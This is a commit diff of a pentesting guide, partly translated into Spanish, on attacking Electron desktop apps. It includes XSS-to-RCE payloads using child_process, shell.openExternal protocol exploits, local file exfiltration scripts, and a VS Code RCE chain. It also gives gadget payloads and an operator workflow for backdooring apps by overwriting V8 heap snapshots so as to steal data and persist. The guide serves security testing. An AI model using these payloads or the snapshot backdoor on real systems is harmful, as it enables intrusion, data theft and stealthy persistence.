Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-09-29 21:55:30 +00:00
parent fb60479afa
commit 70e7e640da

View File

@ -1,17 +1,17 @@
# Aplicaciones de escritorio de Electron
# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Introducción
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos mecanismos de seguridad de los navegadores modernos.
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.
Normalmente puedes encontrar el código de la aplicación Electron dentro de un archivo `.asar`; para obtener el código necesitas extraerlo:
Normalmente puedes encontrar el código de la aplicación Electron dentro de una aplicación `.asar`; para obtener el código necesitas extraerla:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
En el código fuente de una app Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen los ajustes de seguridad.
En el código fuente de una Electron app, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen las configuraciones de seguridad.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ En el código fuente de una app Electron, dentro de `packet.json`, puedes encont
```
Electron tiene 2 tipos de procesos:
- Proceso principal (tiene acceso completo a NodeJS)
- Proceso de renderizado (debería tener acceso a NodeJS restringido por razones de seguridad)
- Main Process (tiene acceso completo a NodeJS)
- Renderer Process (debería tener acceso a NodeJS restringido por razones de seguridad)
![](<../../../images/image (182).png>)
Un **proceso de renderizado** será una ventana del navegador que carga un archivo:
Un **renderer process** será una ventana del navegador que carga un archivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,17 +32,17 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Los ajustes del **proceso de renderizado** se pueden **configurar** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **evitarán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
Los ajustes del **renderer process** pueden ser **configurados** en el **main process** dentro del archivo main.js. Algunas de las configuraciones **impidirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si **las configuraciones están correctamente establecidas**.
La aplicación Electron **podría acceder al dispositivo** a través de las APIs de Node aunque puede configurarse para evitarlo:
La aplicación Electron **podría acceder al dispositivo** vía Node APIs aunque puede configurarse para evitarlo:
- **`nodeIntegration`** - está `off` por defecto. Si está `on`, permite acceder a las funciones de Node desde el proceso de renderizado.
- **`contextIsolation`** - está `on` por defecto. Si está `off`, el proceso principal y el de renderizado no están aislados.
- **`preload`** - vacío por defecto.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está `off` por defecto. Restringirá las acciones que NodeJS puede realizar.
- Integración de Node en Workers
- **`nodeIntegrationInSubframes`** - está `off` por defecto.
- Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de las **APIs de Node.js** en páginas web que se **cargan en iframes** dentro de una aplicación Electron.
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
- **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`**- is `off` by default.
- Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de las **Node.js APIs** en páginas web que se **cargan en iframes** dentro de una aplicación Electron.
- Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe
Ejemplo de configuración:
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Capturar tráfico
Modifica la configuración start-main y añade el uso de un proxy como:
Modifica la configuración de start-main y añade el uso de un proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que ejecute código JavaScript arbitrario. Consulta cómo en:
Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:
{{#ref}}
@ -112,7 +112,7 @@ Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que
## RCE: XSS + nodeIntegration
Si la **nodeIntegration** está configurada en **on**, el JavaScript de una página web puede usar características de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
Si la **nodeIntegration** está en **on**, el JavaScript de una página web puede usar las funcionalidades de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la manera de ejecutar la aplicación calc en Windows es:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
El script indicado en esta configuración es**cargado antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a Node APIs**:
El script indicado en esta configuración es l**cargado antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -153,16 +153,16 @@ runCalc()
## RCE: XSS + contextIsolation
La _**contextIsolation**_ introduce los **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron** de modo que la ejecución de JavaScript de cada uno no se afecte mutuamente. Esta es una característica necesaria para eliminar la posibilidad de RCE.
La _**contextIsolation**_ introduce los **contextos separados entre los scripts de la página web y el código interno JavaScript de Electron** de modo que la ejecución de JavaScript de cada uno no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
Si los contextos no están aislados, un atacante puede:
1. Ejecutar **JavaScript arbitrario en el renderer** (XSS o navegación a sitios externos)
2. **Sobrescribir el método built-in** que se usa en preload o en el código interno de Electron para tomar control de la función
3. **Activar** el uso de la **función sobrescrita**
4. RCE?
1. Ejecutar **arbitrary JavaScript in renderer** (XSS o navegación a sitios externos)
2. **Overwrite the built-in method** que se usa en preload o en el código interno de Electron para tomar control de la función
3. **Trigger** el uso de **overwritten function**
4. ¿RCE?
Hay 2 lugares donde los métodos built-in pueden ser sobrescritos: en el código preload o en el código interno de Electron:
Hay 2 lugares donde los métodos built-in pueden ser sobrescritos: en preload code o en el código interno de Electron:
{{#ref}}
@ -181,34 +181,34 @@ electron-contextisolation-rce-via-ipc.md
### Bypass click event
Si hay restricciones aplicadas cuando haces clic en un enlace, podrías ser capaz de evadirlas **haciendo un middle click** en lugar de un regular left click
Si hay restricciones aplicadas cuando haces clic en un enlace, podrías poder eludirlas **doing a middle click** en lugar de un left click regular
```javascript
window.addEventListener('click', (e) => {
```
## RCE a través de shell.openExternal
Para más info sobre estos examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Para más información sobre estos ejemplos consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Al desplegar una aplicación de escritorio Electron, asegurar los ajustes correctos para `nodeIntegration` y `contextIsolation` es crucial. Está establecido que **client-side remote code execution (RCE)** dirigido a preload scripts o al código nativo de Electron desde el main process se previene efectivamente con estos ajustes en su lugar.
Al desplegar una aplicación de escritorio Electron, asegurar la configuración correcta de `nodeIntegration` y `contextIsolation` es crucial. Se ha establecido que **client-side remote code execution (RCE)** dirigida a preload scripts o al código nativo de Electron desde el main process queda efectivamente prevenido con estas configuraciones.
Cuando un usuario interactúa con enlaces u abre nuevas ventanas, se disparan event listeners específicos, que son cruciales para la seguridad y funcionalidad de la aplicación:
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se disparan event listeners específicos, que son cruciales para la seguridad y la funcionalidad de la aplicación:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Estos listeners son **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegadо debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
Estos manejadores de eventos son **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
**Aquí hay un pseudocódigo simplificado:**
**Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría conducir a RCE a través de varios protocolos. Los sistemas operativos soportan distintos protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación más amplia sobre este tema, puede consultarse [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
Las mejores prácticas de seguridad de Electron JS aconsejan no aceptar contenido no fiable con la función `openExternal`, ya que podría conducir a RCE a través de diversos protocolos. Los sistemas operativos soportan diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, se puede consultar [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
En macos, la función `openExternal` puede explotarse para ejecutar comandos arbitrarios, por ejemplo `shell.openExternal('file:///System/Applications/Calculator.app')`.
En macos, la función `openExternal` puede explotarse para ejecutar comandos arbitrarios, como en `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Ejemplos de Windows protocol exploits incluyen:**
**Ejemplos de exploits de protocolos de Windows incluyen:**
```html
<script>
window.open(
@ -230,15 +230,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vulnerabilidad se puede encontrar en **[este informe](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Esta vuln se puede encontrar en **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **renderer process**, y debería estar deshabilitada porque permite cargar un script dentro del contexto preload como:
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **renderer process**, la cual debería estar deshabilitada ya que permite cargar un script dentro del **preload context** como:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Por lo tanto, un atacante que consiga cargar una página arbitraria podría usar esa etiqueta para **cargar un preload script arbitrario**.
Por lo tanto, un atacante que logre cargar una página arbitraria podría usar esa etiqueta para **cargar un preload script arbitrario**.
Este preload script fue entonces abusado para invocar un **vulnerable IPC service (`skype-new-window`)** que llamaba a **`shell.openExternal`** para conseguir RCE:
Este preload script fue entonces aprovechado para invocar un **servicio IPC vulnerable (`skype-new-window`)** que llamaba a **`shell.openExternal`** para obtener RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Lectura de archivos internos: XSS + contextIsolation
**Deshabilitar `contextIsolation` permite el uso de etiquetas `<webview>`**, similares a `<iframe>`, para leer y exfiltrar archivos locales. Un ejemplo muestra cómo explotar esta vulnerabilidad para leer el contenido de archivos internos:
**Deshabilitar `contextIsolation` permite el uso de etiquetas `<webview>`**, similares a `<iframe>`, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Además, se comparte otro método para **leer un archivo interno**, destacando una vulnerabilidad crítica de lectura de archivos locales en una Electron desktop app. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos:
Further, another method for **reading an internal file** is shared, highlighting a critical local file read vulnerability in an Electron desktop app. This involves injecting a script to exploit the application and exfiltrate data:
```html
<br /><br /><br /><br />
<h1>
@ -273,21 +273,21 @@ frames[0].document.body.innerText
```
## **RCE: XSS + Chromium antiguo**
Si el **chromium** que usa la aplicación es **antiguo** y existen **vulnerabilidades** conocidas en él, podría ser posible **explotarlo y obtener RCE a través de una XSS**.\
Si el **chromium** que usa la aplicación es **antiguo** y existen **vulnerabilidades** conocidas en él, podría ser posible **explotarlo y obtener RCE mediante una XSS**.\
Puedes ver un ejemplo en este **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing mediante bypass de regex de URL internas**
## **XSS Phishing vía bypass de regex de URL interna**
Suponiendo que encontraste una XSS pero **no puedes desencadenar RCE ni robar archivos internos** podrías intentar usarla para **robar credenciales mediante phishing**.
Suponiendo que encontraste una XSS pero **no puedes desencadenar RCE ni robar archivos internos**, podrías intentar usarla para **robar credenciales mediante phishing**.
Primero necesitas saber qué ocurre cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
Antes que nada necesitas saber qué ocurre cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
La llamada a **`openInternally`** decidirá si el **link** será **abierto** en la **desktop window**, ya que es un link perteneciente a la plataforma, **o** si se abrirá en el **browser as a 3rd party resource**.
La llamada a **`openInternally`** decidirá si el **link** será **abierto** en la **ventana de escritorio** ya que es un link perteneciente a la plataforma, **o** si se abrirá en el **navegador como un recurso de terceros**.
En el caso de que la **regex** utilizada por la función sea **vulnerable to bypasses** (por ejemplo, por **not escaping the dots of subdomains**), un atacante podría abusar del XSS para **open a new window which** que estará ubicada en la infraestructura del atacante **asking for credentials** al usuario:
En el caso de que la **regex** usada por la función sea **vulnerable to bypasses** (por ejemplo **not escaping the dots of subdomains**), un atacante podría abusar del XSS para **open a new window which** esté ubicada en la infraestructura del atacante **asking for credentials** al usuario:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -297,15 +297,15 @@ window.open("<http://subdomainagoogleq.com/index.html>")
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
## Remote module
## Módulo Remote
El Remote module de Electron permite que **los procesos renderer accedan a las APIs del proceso main**, facilitando la comunicación dentro de una aplicación Electron. Sin embargo, habilitar este module introduce riesgos de seguridad significativos. Amplía la superficie de ataque de la aplicación, haciéndola más susceptible a vulnerabilidades como ataques de cross-site scripting (XSS).
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
> [!TIP]
> Aunque el módulo **remote** expone algunas APIs del proceso main a los procesos renderer, no es sencillo obtener RCE únicamente abusando de los componentes. Sin embargo, los componentes podrían exponer información sensible.
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> [!WARNING]
> Muchas apps que aún usan el módulo remote lo hacen de manera que **requieren que NodeIntegration esté habilitado** en el proceso renderer, lo cual es un **riesgo de seguridad enorme**.
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Después, el proceso renderer puede importar objetos desde el módulo de la siguiente manera:
Entonces, el proceso renderer puede importar objetos del módulo así:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
El **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algunas **funciones** interesantes expuestas por el objeto **`app`** del módulo remote:
- **`app.relaunch([options])`**
- **Reinicia** la aplicación cerrando la instancia actual y **lanzando** una nueva. Útil para **actualizaciones de la aplicación** o cambios significativos de **estado**.
- **Reinicia** la aplicación **cerrando** la instancia actual y **lanzando** una nueva. Útil para **actualizaciones de la app** o cambios significativos de **estado**.
- **`app.setAppLogsPath([path])`**
- **Define** o **crea** un directorio para almacenar los **logs de la aplicación**. Los logs pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **Define** o **crea** un directorio para almacenar los **registros de la app**. Los registros pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** el ejecutable actual como el **manejador por defecto** para un **protocolo** especificado. Puedes proporcionar una **ruta personalizada** y **argumentos** si es necesario.
- **`app.setUserTasks(tasks)`**
- **Agrega** tareas a la **categoría Tasks** en la **Jump List** (en Windows). Cada tarea puede controlar cómo se **lanza** la aplicación o qué **argumentos** se pasan.
- **Añade** tareas a la **categoría Tasks** en el **Jump List** (en Windows). Cada tarea puede controlar cómo se **lanza** la app o qué **argumentos** se pasan.
- **`app.importCertificate(options, callback)`**
- **Importa** un certificado **PKCS#12** en el **certificate store** del sistema (solo Linux). Se puede usar un **callback** para manejar el resultado.
- **Importa** un **certificado PKCS#12** en el **almacén de certificados** del sistema (solo Linux). Se puede usar un **callback** para manejar el resultado.
- **`app.moveToApplicationsFolder([options])`**
- **Mueve** la aplicación a la **Applications folder** (en macOS). Ayuda a garantizar una **instalación estándar** para usuarios de Mac.
- **Mueve** la aplicación a la **Applications folder** (en macOS). Ayuda a asegurar una **instalación estándar** para usuarios de Mac.
- **`app.setJumpList(categories)`**
- **Establece** o **elimina** una **custom Jump List** en **Windows**. Puedes especificar **categories** para organizar cómo las tareas aparecen al usuario.
- **Establece** o **elimina** un **Jump List** personalizado en **Windows**. Puedes especificar **categorías** para organizar cómo aparecen las tareas al usuario.
- **`app.setLoginItemSettings(settings)`**
- **Configura** qué **ejecutables** se inician al **login** junto con sus **opciones** (solo macOS y Windows).
- **Configura** qué **ejecutables** se inician al **inicio de sesión** junto con sus **opciones** (solo macOS y Windows).
Ejemplo:
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## Módulo systemPreferences
## systemPreferences module
La **API principal** para acceder a las preferencias del sistema y **emitir eventos del sistema** en Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, y **setUserDefault** forman todos **parte de** este módulo.
La **API principal** para acceder a las preferencias del sistema y **emitir eventos del sistema** en Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, y **setUserDefault** son todos **parte de** este módulo.
**Ejemplo de uso:**
```javascript
@ -367,9 +367,9 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Escucha** **notificaciones nativas de macOS** usando NSDistributedNotificationCenter.
* Antes de **macOS Catalina**, podías capturar **todas** las distributed notifications pasando **nil** a CFNotificationCenterAddObserver.
* Después de **Catalina / Big Sur**, las apps sandboxed todavía pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueos/desbloqueos de pantalla**, **montajes de volúmenes**, **actividad de red**, etc.) registrando notificaciones **por nombre**.
* **Escucha** notificaciones nativas de macOS usando NSDistributedNotificationCenter.
* Antes de **macOS Catalina**, se podían sniffear **todas** las distributed notifications pasando **nil** a CFNotificationCenterAddObserver.
* Después de **Catalina / Big Sur**, las apps sandboxed todavía pueden **suscribirse** a **muchos eventos** (por ejemplo, **bloqueos/desbloqueos de pantalla**, **montajes de volúmenes**, **actividad de red**, etc.) registrando notifications **por nombre**.
### **getUserDefault / setUserDefault**
@ -389,9 +389,9 @@ For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-m
## Content Security Policy
Las apps Electron deberían tener una **Content Security Policy (CSP)** para **prevenir ataques XSS**. La **CSP** es un **estándar de seguridad** que ayuda a **evitar** la **ejecución** de **código no confiable** en el navegador.
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Normalmente se **configura** en el archivo **`main.js`** o en la plantilla **`index.html`** con la CSP dentro de una **meta tag**.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
For more information check:
@ -401,18 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
- [**Electro.ng**](https://electro.ng/): You need to buy it
Esta cadena real afectó a Visual Studio Code 1.63 (CVE-2021-43908) y demuestra cómo un único XSS inducido por markdown en un webview puede escalarse a RCE completo cuando CSP, postMessage y los manejadores de scheme están mal configurados. PoC público: https://github.com/Sudistark/vscode-rce-electrovolt
## Labs
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un lab para explotar aplicaciones Electron vulnerables.
Ejemplo de primitiva de RCE en el contexto final
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Lectura relacionada sobre problemas de confianza en postMessage:
Algunos comandos que te ayudarán en el laboratorio:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Herramientas**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar misconfiguraciones y anti-patrones de seguridad en aplicaciones basadas en Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) es un plugin de VS Code de código abierto para aplicaciones Electron que usa Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para buscar bibliotecas de terceros vulnerables
- [**Electro.ng**](https://electro.ng/): Necesitas comprarlo
## Laboratorios
En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.
Algunos comandos que te ayudarán con el laboratorio:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -435,20 +458,20 @@ cd vulnerable1
npm install
npm start
```
## Puerta trasera local mediante manipulación de V8 heap snapshot (Electron/Chromium) CVE-2025-55305
## Backdoor local mediante manipulación de V8 heap snapshot (Electron/Chromium) CVE-2025-55305
Las aplicaciones basadas en Electron y Chromium deserializan una V8 heap snapshot preconstruida al inicio (v8_context_snapshot.bin, y opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Históricamente, los integrity fuses de Electron no trataban estas snapshots como contenido ejecutable, por lo que eludían tanto la aplicación de integridad basada en fuses como las comprobaciones de code-signing del SO. Como resultado, reemplazar la snapshot en una instalación escribible por el usuario permitía ejecución de código persistente y sigilosa dentro de la app sin modificar los binarios firmados ni el ASAR.
Las aplicaciones basadas en Electron y Chromium deserializan un V8 heap snapshot preconstruido al inicio (v8_context_snapshot.bin, y opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Históricamente, los fuses de integridad de Electron no trataban estos snapshots como contenido ejecutable, por lo que eludían tanto la aplicación de integridad basada en fuses como las comprobaciones de code-signing del SO. Como resultado, reemplazar el snapshot en una instalación escribible por el usuario proporcionaba ejecución de código persistente y sigilosa dentro de la app sin modificar los binarios firmados ni el ASAR.
Puntos clave
- Brecha de integridad: EnableEmbeddedAsarIntegrityValidation y OnlyLoadAppFromAsar validan el JavaScript de la app dentro del ASAR, pero no cubrían las V8 heap snapshots (CVE-2025-55305). Chromium de forma similar no verifica la integridad de las snapshots.
- Precondiciones del ataque: Escritura de archivos local en el directorio de instalación de la app. Esto es común en sistemas donde las apps Electron o los browsers Chromium están instalados en rutas escribibles por el usuario (p. ej., %AppData%\Local en Windows; /Applications con matices en macOS).
- Efecto: Ejecución fiable de JavaScript del atacante en cualquier isolate al sobrescribir un builtin de uso frecuente (un “gadget”), permitiendo persistencia y evasión de la verificación de code-signing.
- Superficie afectada: Apps Electron (incluso con fuses habilitados) y browsers basados en Chromium que cargan snapshots desde ubicaciones escribibles por el usuario.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: Local file write into the apps installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Generar una snapshot maliciosa sin compilar Chromium
- Usa el electron/mksnapshot prebuilt para compilar un payload JS en una snapshot y sobrescribir el v8_context_snapshot.bin de la aplicación.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Ejemplo de payload mínimo (prueba la ejecución forzando un crash)
Example minimal payload (prove execution by forcing a crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -462,11 +485,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (run different code in main vs. renderer)
- Detección del proceso principal: globales exclusivos de Node como process.pid, process.binding(), o process.dlopen están presentes en el isolate del proceso principal.
- Detección Browser/renderer: globales exclusivos del navegador como alert están disponibles cuando se ejecuta en un contexto de documento.
Enrutamiento consciente del Isolate para payloads (ejecutar código distinto en main vs. renderer)
- Detección del proceso main: globales exclusivos de Node como process.pid, process.binding() o process.dlopen están presentes en el isolate del proceso main.
- Detección browser/renderer: globales exclusivos del browser como alert están disponibles cuando se ejecuta en un contexto de documento.
Ejemplo de gadget que sondea una vez las capacidades de Node del proceso principal
Ejemplo de gadget que explora una vez las capacidades de Node en el proceso main
```js
const orig = Array.isArray;
@ -495,7 +518,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context PoC de exfiltración de datos (p. ej., Slack)
PoC de robo de datos en Renderer/browser-context (p. ej., Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -520,26 +543,30 @@ return orig(...arguments);
};
```
Flujo de trabajo del operador
1) Escribe payload.js que sobrescriba un builtin común (p. ej., Array.isArray) y, opcionalmente, ramifique por isolate.
1) Escribe payload.js que sobrescriba una función integrada común (por ejemplo, Array.isArray) y, opcionalmente, ramifique por isolate.
2) Construye el snapshot sin las fuentes de Chromium:
- `npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"`
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Sobrescribe el/los archivo(s) snapshot de la aplicación objetivo:
- `v8_context_snapshot.bin` (siempre usado)
- `browser_v8_context_snapshot.bin` (si se usa el fuse LoadBrowserProcessSpecificV8Snapshot)
4) Inicia la aplicación; el gadget se ejecuta cada vez que se usa el builtin elegido.
- v8_context_snapshot.bin (siempre usado)
- browser_v8_context_snapshot.bin (si se usa el fuse LoadBrowserProcessSpecificV8Snapshot)
4) Lanza la aplicación; el gadget se ejecuta cada vez que se usa la función integrada elegida.
Notas y consideraciones
- Integrity/signature bypass: Los archivos snapshot no se tratan como ejecutables nativos por las comprobaciones de code-signing y (históricamente) no estaban cubiertos por los fuses de Electron ni por los controles de integridad de Chromium.
- Persistence: Reemplazar el snapshot en una instalación escribible por el usuario suele sobrevivir a reinicios de la app y parece una app legítima y firmada.
- Chromium browsers: El mismo concepto de manipulación aplica a Chrome/derivados instalados en ubicaciones escribibles por el usuario. Chrome tiene otras mitigaciones de integridad pero excluye explícitamente los ataques físicamente locales de su threat model.
